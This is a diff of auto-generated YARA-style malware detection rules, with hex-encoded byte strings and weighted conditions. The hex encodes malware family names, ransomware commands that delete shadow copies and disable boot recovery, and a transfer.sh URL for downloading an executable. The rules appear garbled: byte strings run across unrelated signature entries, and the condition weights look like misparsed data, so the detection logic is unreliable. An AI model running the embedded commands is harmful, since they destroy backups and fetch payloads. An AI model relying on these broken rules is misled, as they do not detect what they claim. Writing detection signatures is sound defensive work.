6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 79 61 6e 64 65 78 2d 62 72 6f 77 73 } //29285 - $a_00_5 = {14 } //29285 - $a_76_6 = {73 74 2d 66 72 65 65 2d 61 6e 74 69 76 69 72 75 73 01 00 0e 80 01 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 01 00 36 80 01 74 72 61 63 6b 2e 77 67 2d 61 66 66 2e 63 6f 6d 2f 63 6c 69 63 6b 3f 70 69 64 3d 31 35 34 36 26 6f 66 66 65 72 5f 69 64 3d 32 36 26 73 75 62 31 3d 77 67 74 31 33 9c ff } //384 + $a_5c_2 = {65 74 6b 61 62 6c 65 72 6e 65 2e 50 69 65 01 00 10 81 01 6a 69 6d 6d 69 65 64 20 62 65 6e 65 61 70 65 64 01 00 14 81 01 66 6a 72 74 65 64 65 73 20 6b 6f 6d 70 6f 6e 69 73 74 65 72 00 00 78 10 01 00 07 00 07 00 09 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 44 61 6b 75 7a 65 72 00 02 00 1e 01 57 00 55 00 44 00 } //28521 + $a_00_3 = {6e 00 6c 00 6f 00 61 00 64 00 43 00 61 00 63 00 68 00 65 00 02 00 3c 01 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 47 00 4c 00 4f 00 42 00 41 00 4c 00 52 00 4f 00 4f 00 54 00 5c 00 52 00 50 00 43 00 20 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 02 00 0f 01 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 0c 03 ba ac 00 09 00 [0-10] ff 15 } //111 + $a_03_4 = {ba a4 00 09 00 [0-10] ff 15 } //1 + $a_01_5 = {75 64 6f 6d 5f 6d 69 63 72 6f 64 6f 6d } //-10 udom_microdom + $a_01_6 = {63 00 6f 00 6e 00 74 00 6f 00 73 00 6f 00 2e 00 63 00 6f 00 6d 00 } //-10 contoso.com condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29811+(#a_5c_2 & 1)*28521+(#a_6f_3 & 1)*-32757+(#a_73_4 & 1)*29285+(#a_00_5 & 1)*29285+(#a_76_6 & 1)*384) >=7 + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29811+(#a_5c_2 & 1)*28521+(#a_00_3 & 1)*111+(#a_03_4 & 1)*1+(#a_01_5 & 1)*-10+(#a_01_6 & 1)*-10) >=7 } -rule _InfrastructureShared_16671{ +rule _InfrastructureShared_17765{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 44 61 6b 75 7a 65 72 00 02 00 1e 01 57 00 55 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 43 00 61 00 63 00 68 00 65 00 02 00 3c 01 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 47 00 } //16675 + $a_00_1 = {42 00 41 00 4c 00 52 00 4f 00 4f 00 54 00 5c 00 52 00 50 00 43 00 20 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 02 00 0f 01 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 0c 03 ba ac 00 09 00 90 02 10 ff 15 90 00 01 00 0c 03 } //76 + $a_10_3 = {ff 15 } //-28672 + $a_ff_4 = {01 75 64 6f 6d 5f 6d 69 63 72 6f 64 6f 6d f6 ff 16 01 63 00 6f 00 6e 00 74 00 6f 00 73 00 6f 00 2e 00 63 00 6f 00 6d 00 f6 ff 18 01 72 65 70 6c 69 63 61 74 65 64 66 6f 6c 64 65 72 69 6e 66 6f 69 6d 70 6c f6 ff 0c 01 46 61 73 74 43 6f 70 79 2e 69 6e 69 00 00 78 10 01 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 48 4d 52 31 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 79 61 6e 64 65 78 2d 62 72 6f 77 73 65 72 01 00 14 80 01 61 76 61 73 74 2d 66 72 65 65 2d 61 6e 74 69 76 69 72 75 73 01 00 0e 80 01 4f 70 65 72 61 20 53 6f 66 74 77 } //144 + $a_01_5 = {00 36 80 01 74 72 61 63 6b 2e 77 67 2d 61 66 66 2e 63 6f 6d 2f 63 6c 69 63 6b 3f 70 69 64 3d 31 35 34 36 26 6f 66 66 65 72 5f 69 64 3d 32 36 26 73 75 62 31 3d 77 67 74 31 33 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 } //29281 + $a_61_6 = {2e 65 78 65 00 00 78 10 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 31 30 31 32 33 21 4d 54 42 00 01 00 21 81 01 30 20 30 24 30 28 30 2c 30 30 30 34 30 38 30 3c 30 40 30 44 30 48 30 4c 30 50 30 54 30 58 30 5c 30 01 00 0f 81 01 30 64 30 68 30 6c 30 70 30 74 30 78 30 7c 30 01 00 21 81 01 31 20 } //29550 + $a_28_7 = {2c 31 30 31 34 31 38 31 3c 31 40 31 44 31 48 31 4c 31 50 31 54 31 58 31 5c 31 01 00 0f 81 01 31 64 31 68 31 6c 31 70 31 74 31 78 31 7c 31 01 00 10 } //9265 + $a_6a_8 = {70 70 65 74 6f 76 65 73 20 73 6b 67 73 01 00 1a 81 01 46 6a 61 72 64 69 6e 67 20 42 65 67 79 6e 64 65 6c 73 65 73 6c 69 6e 6a 65 6e 01 00 0e 81 01 43 6f 6e 6a 6f 6e 20 4d 69 6d 6f 73 69 73 01 00 25 81 01 55 6e 64 65 72 64 69 6d 65 6e 73 69 6f 6e 65 } //385 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*76+(#a_10_3 & 1)*-28672+(#a_ff_4 & 1)*144+(#a_01_5 & 1)*29281+(#a_61_6 & 1)*29550+(#a_28_7 & 1)*9265+(#a_6a_8 & 1)*385) >=7 + +} +rule _InfrastructureShared_17766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -196766,48 +209920,32 @@ rule _InfrastructureShared_16671{ $a_26_2 = {66 66 65 72 5f 69 64 3d 32 36 26 73 75 62 31 3d 77 67 74 31 33 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 } //13365 $a_ff_3 = {80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 10 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 31 30 31 32 33 21 4d 54 42 00 01 00 21 81 01 30 20 30 24 30 28 30 2c 30 30 30 34 30 38 30 3c 30 40 30 44 30 48 30 4c 30 50 30 54 30 58 30 5c 30 01 00 0f 81 01 30 64 30 68 30 6c 30 70 30 74 30 78 30 7c 30 01 00 21 81 01 31 20 31 24 31 28 31 2c 31 30 31 34 31 38 31 3c 31 40 31 44 31 48 31 4c 31 50 31 54 31 58 31 5c } //25976 $a_64_5 = {68 31 6c 31 70 31 74 31 78 31 7c 31 01 00 10 81 01 53 6a 69 70 70 65 74 6f 76 65 73 20 73 6b 67 73 01 00 1a 81 01 46 6a 61 72 64 69 6e 67 20 42 65 } //385 - $a_64_6 = {6c 73 65 73 6c 69 6e 6a 65 6e 01 00 0e 81 01 43 6f 6e 6a 6f 6e 20 4d 69 6d 6f 73 69 73 01 00 25 81 01 55 6e 64 65 72 64 69 6d 65 6e 73 69 6f 6e 65 72 65 72 20 53 69 6e 75 6f 75 73 20 53 70 72 61 79 66 75 6c 6c 79 00 00 78 10 01 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 43 21 } //31079 - $a_00_7 = {01 00 13 01 67 6f 6f 64 2e 35 64 66 72 75 69 74 6a 6b 67 72 65 61 74 01 00 1c 01 43 77 6f 6e 2e 74 74 68 65 69 72 32 4b 61 62 75 6e 64 61 6e 74 6c 79 2e 6c 61 6e 64 01 00 18 01 6f 3a 5c 64 69 72 5f } //21581 - $a_5f_8 = {75 69 6c 64 73 5c 62 6c 64 4f 62 6a 01 00 0b 01 67 69 76 65 6e 65 76 65 72 79 6e 01 00 0c 01 6b 74 72 65 65 6c 6d 61 6e 2c 52 6d 01 00 25 01 73 61 79 69 6e 67 72 37 5a 73 68 65 2e 64 66 72 75 69 74 66 75 6c 64 7a 66 65 6d 61 6c 65 67 72 65 61 74 65 72 01 00 2e 01 36 6d 61 6c 65 79 6f 75 2e 72 65 2c 6d 75 6c 74 69 70 6c 79 2c 54 68 65 67 72 } //28518 - $a_72_9 = {70 6c 65 6e 69 73 68 66 69 74 73 65 6c 66 77 01 00 0c 01 76 67 30 35 62 33 77 45 2e 44 6c 6c 01 00 08 01 73 45 4c 46 2e 65 58 65 00 00 78 10 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4c 33 30 31 21 4d 54 42 00 01 00 2b 80 01 68 74 74 70 73 3a 2f 2f 74 } //25957 + $a_64_6 = {6c 73 65 73 6c 69 6e 6a 65 6e 01 00 0e 81 01 43 6f 6e 6a 6f 6e 20 4d 69 6d 6f 73 69 73 01 00 25 81 01 55 6e 64 65 72 64 69 6d 65 6e 73 69 6f 6e 65 72 65 72 20 53 69 6e 75 6f 75 73 20 53 70 72 61 79 66 75 6c 6c 79 00 00 78 10 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //31079 + $a_53_7 = {4c 33 30 31 21 4d 54 42 00 01 00 2b 80 01 68 74 74 70 73 3a 2f 2f 74 72 61 6e 73 66 65 72 2e 73 68 2f 67 65 74 2f 42 46 51 48 55 54 2f 6e } //24940 + $a_67_8 = {67 73 2e 65 78 65 01 00 29 80 01 56 42 58 56 42 58 56 58 56 58 56 58 58 56 56 58 56 58 58 56 42 56 42 58 42 56 58 56 42 56 58 42 56 58 42 56 58 42 54 54 54 01 00 1b 80 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6e 65 77 73 67 64 67 73 2e 65 78 65 01 00 12 80 01 57 41 67 71 69 34 55 52 56 78 73 6e 4b 6a 68 63 41 4a 01 00 12 80 01 77 34 68 } //30565 + $a_41_9 = {47 54 50 75 33 54 4c 74 33 46 01 00 06 80 01 43 6f 6e 63 61 74 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 06 80 01 49 6e 76 6f 6b 65 00 00 78 10 01 00 0c 00 0c 00 0d 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 61 6e 6f 63 6f 72 65 2e 52 4d 21 4d } //26419 condition: - ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25956+(#a_26_2 & 1)*13365+(#a_ff_3 & 1)*25976+(#a_64_5 & 1)*385+(#a_64_6 & 1)*31079+(#a_00_7 & 1)*21581+(#a_5f_8 & 1)*28518+(#a_72_9 & 1)*25957) >=7 + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25956+(#a_26_2 & 1)*13365+(#a_ff_3 & 1)*25976+(#a_64_5 & 1)*385+(#a_64_6 & 1)*31079+(#a_53_7 & 1)*24940+(#a_67_8 & 1)*30565+(#a_41_9 & 1)*26419) >=7 } -rule _InfrastructureShared_16672{ +rule _InfrastructureShared_17767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 31 30 31 32 33 21 4d 54 42 00 01 00 21 81 01 30 20 30 24 30 28 30 2c 30 30 30 34 30 38 30 3c 30 40 30 44 30 48 30 4c 30 50 30 54 30 58 30 5c 30 01 00 0f 81 01 30 64 30 68 30 6c 30 70 30 74 30 } //18467 $a_30_1 = {00 21 81 01 31 20 31 24 31 28 31 2c 31 30 31 34 31 38 31 3c 31 40 31 44 31 48 31 4c 31 50 31 54 31 58 31 5c 31 01 00 0f 81 01 31 64 31 68 31 6c 31 70 31 74 31 78 31 7c 31 01 00 10 81 01 53 6a 69 70 70 65 74 6f 76 65 73 20 73 6b 67 73 01 00 1a 81 01 46 6a 61 72 64 69 6e 67 20 42 65 67 79 6e 64 65 6c 73 65 73 6c 69 6e 6a 65 6e 01 00 0e 81 01 43 6f 6e 6a 6f 6e 20 4d 69 6d } //12408 - $a_73_2 = {00 25 81 01 55 6e 64 65 72 64 69 6d 65 6e 73 69 6f 6e 65 72 65 72 20 53 69 6e 75 6f 75 73 20 53 70 72 61 79 66 75 6c 6c 79 00 00 78 10 01 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 43 21 4d 54 42 00 01 00 13 01 67 6f 6f 64 2e 35 64 66 72 75 69 74 6a 6b 67 72 65 } //29551 - $a_00_3 = {1c } //29793 - $a_6f_4 = {2e 74 74 68 65 69 72 32 4b 61 62 75 6e 64 61 6e 74 6c 79 2e 6c 61 6e 64 01 00 18 01 6f 3a 5c 64 69 72 5f 66 6f 72 5f 62 75 69 6c 64 73 5c 62 6c 64 4f 62 6a 01 00 0b 01 67 69 76 65 6e 65 76 65 72 79 6e 01 00 0c 01 6b 74 72 65 65 6c 6d 61 6e 2c 52 6d 01 00 25 01 73 61 79 69 6e 67 72 37 5a 73 68 65 2e 64 66 72 75 69 74 66 75 6c 64 7a 66 65 6d 61 6c 65 67 72 } //17153 - $a_65_5 = {01 00 2e 01 36 6d 61 6c 65 79 6f 75 2e 72 65 2c 6d 75 6c 74 69 70 6c 79 2c 54 68 65 67 72 65 65 6e 72 65 70 6c 65 6e 69 73 68 66 69 74 73 65 6c 66 77 01 00 0c 01 76 67 30 35 62 33 77 45 2e 44 6c 6c 01 00 08 01 73 45 4c 46 2e 65 58 65 00 00 78 10 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //24933 - $a_2e_6 = {4d 4c 33 30 31 21 4d 54 42 00 01 00 2b 80 01 68 74 74 70 73 3a 2f 2f 74 72 61 6e 73 66 65 72 2e 73 68 2f 67 65 74 2f 42 46 51 48 55 54 2f 6e 65 77 73 67 64 67 73 2e 65 78 65 01 00 29 80 01 56 42 58 56 42 58 56 58 56 58 56 58 58 56 56 58 56 58 58 56 42 56 42 58 42 56 58 56 42 56 58 42 56 58 } //27763 - $a_42_7 = {54 54 01 00 1b 80 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6e 65 77 73 67 64 67 73 2e 65 78 65 01 00 12 80 01 57 41 67 71 69 34 55 52 56 78 73 6e 4b 6a 68 63 41 4a 01 00 12 80 01 77 34 68 33 67 65 41 63 47 54 50 75 33 54 4c 74 33 46 01 00 06 80 01 43 6f 6e } //22082 + $a_73_2 = {00 25 81 01 55 6e 64 65 72 64 69 6d 65 6e 73 69 6f 6e 65 72 65 72 20 53 69 6e 75 6f 75 73 20 53 70 72 61 79 66 75 6c 6c 79 00 00 78 10 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4c 33 30 31 21 4d 54 42 00 01 00 2b 80 01 68 74 74 70 73 3a } //29551 + $a_72_3 = {6e 73 66 65 72 2e 73 68 2f 67 65 74 2f 42 46 51 48 55 54 2f 6e 65 77 73 67 64 67 73 2e 65 78 65 01 00 29 80 01 56 42 58 56 42 58 56 58 56 58 56 58 58 56 56 58 56 58 58 56 42 56 42 58 42 56 58 56 42 56 58 42 56 58 42 56 58 42 54 54 54 01 00 1b 80 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6e 65 77 73 67 64 67 73 2e 65 78 65 01 00 12 80 01 57 } //12079 + $a_69_4 = {55 52 56 78 73 6e 4b 6a 68 63 41 4a 01 00 12 80 01 77 34 68 33 67 65 41 63 47 54 50 75 33 54 4c 74 33 46 01 00 06 80 01 43 6f 6e 63 61 74 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 06 80 01 49 6e 76 6f 6b 65 00 00 78 10 01 00 0c 00 0c 00 0d 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //26433 + $a_6f_5 = {6f 72 65 2e 52 4d 21 4d 54 42 00 01 00 0c 81 01 2a 6d 65 73 73 61 67 65 73 2a 2a 2a 01 00 12 81 01 43 72 79 70 74 50 72 6f 74 65 63 74 4d 65 6d 6f 72 79 01 00 1b 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 72 69 74 69 63 61 6c 53 65 63 74 69 6f 6e 45 78 01 00 06 81 01 5f 68 79 70 6f 74 01 00 13 81 01 47 65 74 43 75 72 72 65 6e 74 50 } //24910 + $a_61_6 = {65 49 64 01 00 09 81 01 47 65 74 43 50 49 6e 66 6f 01 00 0f 81 01 47 65 74 53 74 61 72 74 75 70 49 6e 66 6f 57 01 00 07 81 01 73 24 25 73 3a 25 73 01 00 0d 81 01 44 58 47 49 44 65 62 75 67 2e 64 6c 6c 01 00 0a 81 01 73 66 63 5f 6f 73 2e 64 6c 6c 01 00 0a 81 01 72 73 61 65 6e 68 2e 64 6c 6c 01 00 0c 81 01 47 45 54 50 41 } //25441 + $a_4f_7 = {44 31 01 00 0a 81 01 41 53 4b 4e 45 58 54 56 4f 4c 00 00 78 10 01 00 0e 00 0e 00 0a 00 21 23 42 4d 5f 41 54 3a 55 6c 74 72 61 56 69 65 77 65 72 00 0a 00 0b 81 01 55 6c 74 72 61 56 69 65 77 65 72 01 00 11 81 01 55 6c 74 72 61 56 69 65 77 65 72 20 53 65 74 75 70 } //21331 condition: - ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*12408+(#a_73_2 & 1)*29551+(#a_00_3 & 1)*29793+(#a_6f_4 & 1)*17153+(#a_65_5 & 1)*24933+(#a_2e_6 & 1)*27763+(#a_42_7 & 1)*22082) >=8 + ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*12408+(#a_73_2 & 1)*29551+(#a_72_3 & 1)*12079+(#a_69_4 & 1)*26433+(#a_6f_5 & 1)*24910+(#a_61_6 & 1)*25441+(#a_4f_7 & 1)*21331) >=8 } -rule _InfrastructureShared_16673{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 43 21 4d 54 42 00 01 00 13 01 67 6f 6f 64 2e 35 64 66 72 75 69 74 6a 6b 67 72 65 61 74 01 00 1c 01 43 77 6f 6e 2e 74 74 68 65 69 72 32 4b 61 62 75 6e 64 61 6e 74 6c 79 2e } //16675 - $a_64_1 = {00 18 01 6f 3a 5c 64 69 72 5f 66 6f 72 5f 62 75 69 6c 64 73 5c 62 6c 64 4f 62 6a 01 00 0b 01 67 69 76 65 6e 65 76 65 72 79 6e 01 00 0c 01 6b 74 72 65 65 6c 6d 61 6e 2c 52 6d 01 00 25 01 73 61 79 69 6e 67 72 37 5a 73 68 65 2e 64 66 72 75 69 74 66 75 6c 64 7a 66 65 6d 61 6c 65 67 72 65 61 74 65 72 01 00 2e 01 36 6d 61 6c 65 79 6f } //24940 - $a_65_2 = {6d 75 6c 74 69 70 6c 79 2c 54 68 65 67 72 65 65 6e 72 65 70 6c 65 6e 69 73 68 66 69 74 73 65 6c 66 77 01 00 0c 01 76 67 30 35 62 33 77 45 2e 44 6c 6c 01 00 08 01 73 45 4c 46 2e 65 58 65 00 00 78 10 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4c 33 30 31 21 4d 54 42 } //11893 - $a_74_4 = {73 3a 2f 2f 74 72 61 6e 73 66 65 72 2e 73 68 2f 67 65 74 2f 42 46 51 48 55 54 2f 6e 65 77 73 67 64 67 73 2e 65 78 65 01 00 29 80 01 56 42 58 56 42 58 56 58 56 58 56 58 58 56 56 58 56 58 58 56 42 56 42 58 42 56 58 56 42 56 58 42 56 58 42 56 58 42 54 54 54 01 00 1b 80 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6e 65 77 73 67 64 67 73 2e 65 78 } //26625 - $a_67_6 = {69 34 55 52 56 78 73 6e 4b 6a 68 63 41 4a 01 00 12 80 01 77 34 68 33 67 65 41 63 47 54 50 75 33 54 4c 74 33 46 01 00 06 80 01 43 6f 6e 63 61 74 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 } //22273 - $a_80_7 = {52 65 70 6c 61 63 65 } //Replace 1 - $a_80_8 = {49 6e 76 6f 6b 65 } //Invoke 1 - condition: - ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24940+(#a_65_2 & 1)*11893+(#a_74_4 & 1)*26625+(#a_67_6 & 1)*22273+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=9 - -} -rule _InfrastructureShared_16674{ +rule _InfrastructureShared_17768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -196825,7 +209963,7 @@ rule _InfrastructureShared_16674{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=9 } -rule _InfrastructureShared_16675{ +rule _InfrastructureShared_17769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -196836,36 +209974,51 @@ rule _InfrastructureShared_16675{ $a_55_3 = {74 } //-32501 t $a_69_4 = {77 65 72 01 00 11 81 01 55 6c 74 72 61 56 69 65 77 65 72 20 53 65 74 75 70 01 00 0b 81 01 44 75 63 46 61 62 75 6c 6f 75 73 01 00 18 81 01 53 6f 66 74 77 61 72 65 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 01 00 0a 81 01 49 6e 6e 6f 20 53 65 74 75 70 01 } //24946 $a_01_5 = {48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 55 6c 74 72 61 56 69 65 77 65 72 01 00 0e 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 50 57 01 00 13 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 44 65 73 6b 74 6f 70 01 00 13 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 53 65 72 76 69 63 65 01 00 1e 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 43 6c 6f 73 65 52 } //9984 - $a_74_6 = {44 65 73 6b 74 6f 70 00 00 78 11 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 78 79 42 6f 6f 6b 73 2e 41 21 64 68 61 00 01 00 e3 03 6f 0a 12 00 28 90 01 03 0a a2 25 1f 09 1f 75 0a 12 00 28 90 01 03 0a a2 25 1f 0a 1f 74 0a 12 00 28 90 01 03 0a a2 25 1f 0b 1f 6c 0a 12 00 28 90 01 03 0a a2 25 1f } //28005 - $a_0a_7 = {12 00 28 90 01 03 0a a2 25 1f 0d 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0e 1f 6b 0a 12 00 28 90 01 03 0a a2 25 1f 0f 1f 2e 0a 12 00 28 90 01 03 0a a2 25 1f 10 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 11 1f 66 0a 12 00 28 90 01 03 0a a2 25 1f 12 1f 66 0a 12 00 28 90 01 03 0a a2 25 1f 13 1f 69 0a 12 00 28 90 01 03 0a a2 25 1f 14 1f 63 } //7948 - $a_a2_9 = {1f 15 1f 65 0a 12 00 28 90 01 } //769 - $a_25_10 = {16 1f 33 0a 12 00 28 90 01 03 0a a2 25 1f 17 1f 36 0a 12 00 28 90 01 03 0a a2 25 1f 18 1f 35 90 00 00 00 78 11 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6c 6c 65 72 67 69 63 50 6f 70 63 6f 72 6e 2e 41 21 64 68 61 00 01 00 7b 42 66 44 0f d6 bc 24 90 01 02 00 00 4c 89 9c 24 90 01 04 4c 89 94 24 90 01 04 4c 89 8c 24 90 01 04 48 89 9c 24 90 01 04 48 89 84 24 90 01 04 4c 89 84 24 90 01 04 48 89 b4 24 90 01 04 48 89 bc 24 90 01 04 48 89 8c 24 90 } //2563 - $a_44_11 = {90 01 01 00 48 8d 05 90 01 04 e8 90 01 04 48 89 44 24 90 01 01 48 b9 00 04 6b f4 14 00 00 00 48 89 48 90 01 01 48 8d 05 90 01 04 e8 90 00 01 00 2b 01 43 3a 2f 55 73 65 72 73 2f 61 6c 70 68 61 2f 67 6f 2f 73 72 63 2f 6c 69 67 68 74 62 65 65 6d 33 32 39 36 2f 73 70 79 2d 67 6f 2f 01 00 2e 01 70 61 74 68 09 6c 69 67 68 74 62 65 65 6d 33 32 39 36 2f 73 70 79 2d 67 6f 0a 62 75 69 6c 64 09 2d 62 75 69 6c 64 6d 6f 64 65 3d 65 78 65 00 00 78 11 01 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 43 32 38 21 4d 54 42 00 01 00 66 02 33 c0 85 c9 } //1025 - $a_01_12 = {8a } //-28556 + $a_74_6 = {44 65 73 6b 74 6f 70 00 00 78 10 01 00 14 00 14 00 05 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 70 6f 72 61 2e 4c 4d 21 4d 54 42 00 02 00 27 01 76 73 73 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 03 00 1a 81 01 77 6d 69 63 2e 65 78 65 20 73 68 61 } //28005 + $a_63_7 = {70 79 20 64 65 6c 65 74 65 04 00 3d 81 01 62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 62 6f 6f 74 73 74 61 74 75 73 70 6f 6c 69 63 79 20 69 67 6e 6f 72 65 61 6c 6c 66 61 69 6c 75 72 65 73 05 00 2d 81 01 62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 } //28516 + $a_20_8 = {6f 06 00 26 01 63 6d 64 2e 65 78 65 20 2f 43 20 74 69 6d 65 6f 75 74 20 2f 74 20 33 20 2f 6e 6f 62 72 65 61 6b 20 3e 20 4e 55 4c 00 00 78 11 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 78 79 42 6f 6f 6b 73 2e 41 21 64 68 61 00 01 00 e3 03 6f 0a 12 00 28 90 01 } //25964 + $a_25_9 = {09 1f 75 0a 12 00 28 90 01 03 0a a2 25 1f 0a 1f 74 0a 12 00 28 90 01 03 0a a2 25 1f 0b 1f 6c 0a 12 00 28 90 01 03 0a a2 25 1f 0c 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0d 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0e 1f 6b 0a 12 00 28 90 01 03 0a a2 25 1f 0f 1f 2e 0a 12 00 28 90 01 03 0a a2 25 1f 10 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 11 1f 66 0a 12 00 28 90 01 03 0a a2 25 1f 12 1f 66 0a 12 00 28 90 01 03 0a a2 25 1f 13 1f 69 0a 12 00 28 90 01 03 0a a2 25 1f 14 1f 63 0a 12 00 28 90 } //2563 + $a_a2_10 = {1f 15 1f 65 0a 12 00 28 90 01 } //769 + $a_25_11 = {16 1f 33 0a 12 00 28 90 01 03 0a a2 25 1f 17 1f 36 0a 12 00 28 90 01 03 0a a2 25 1f 18 1f 35 90 00 00 00 78 11 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6c 6c 65 72 67 69 63 50 6f 70 63 6f 72 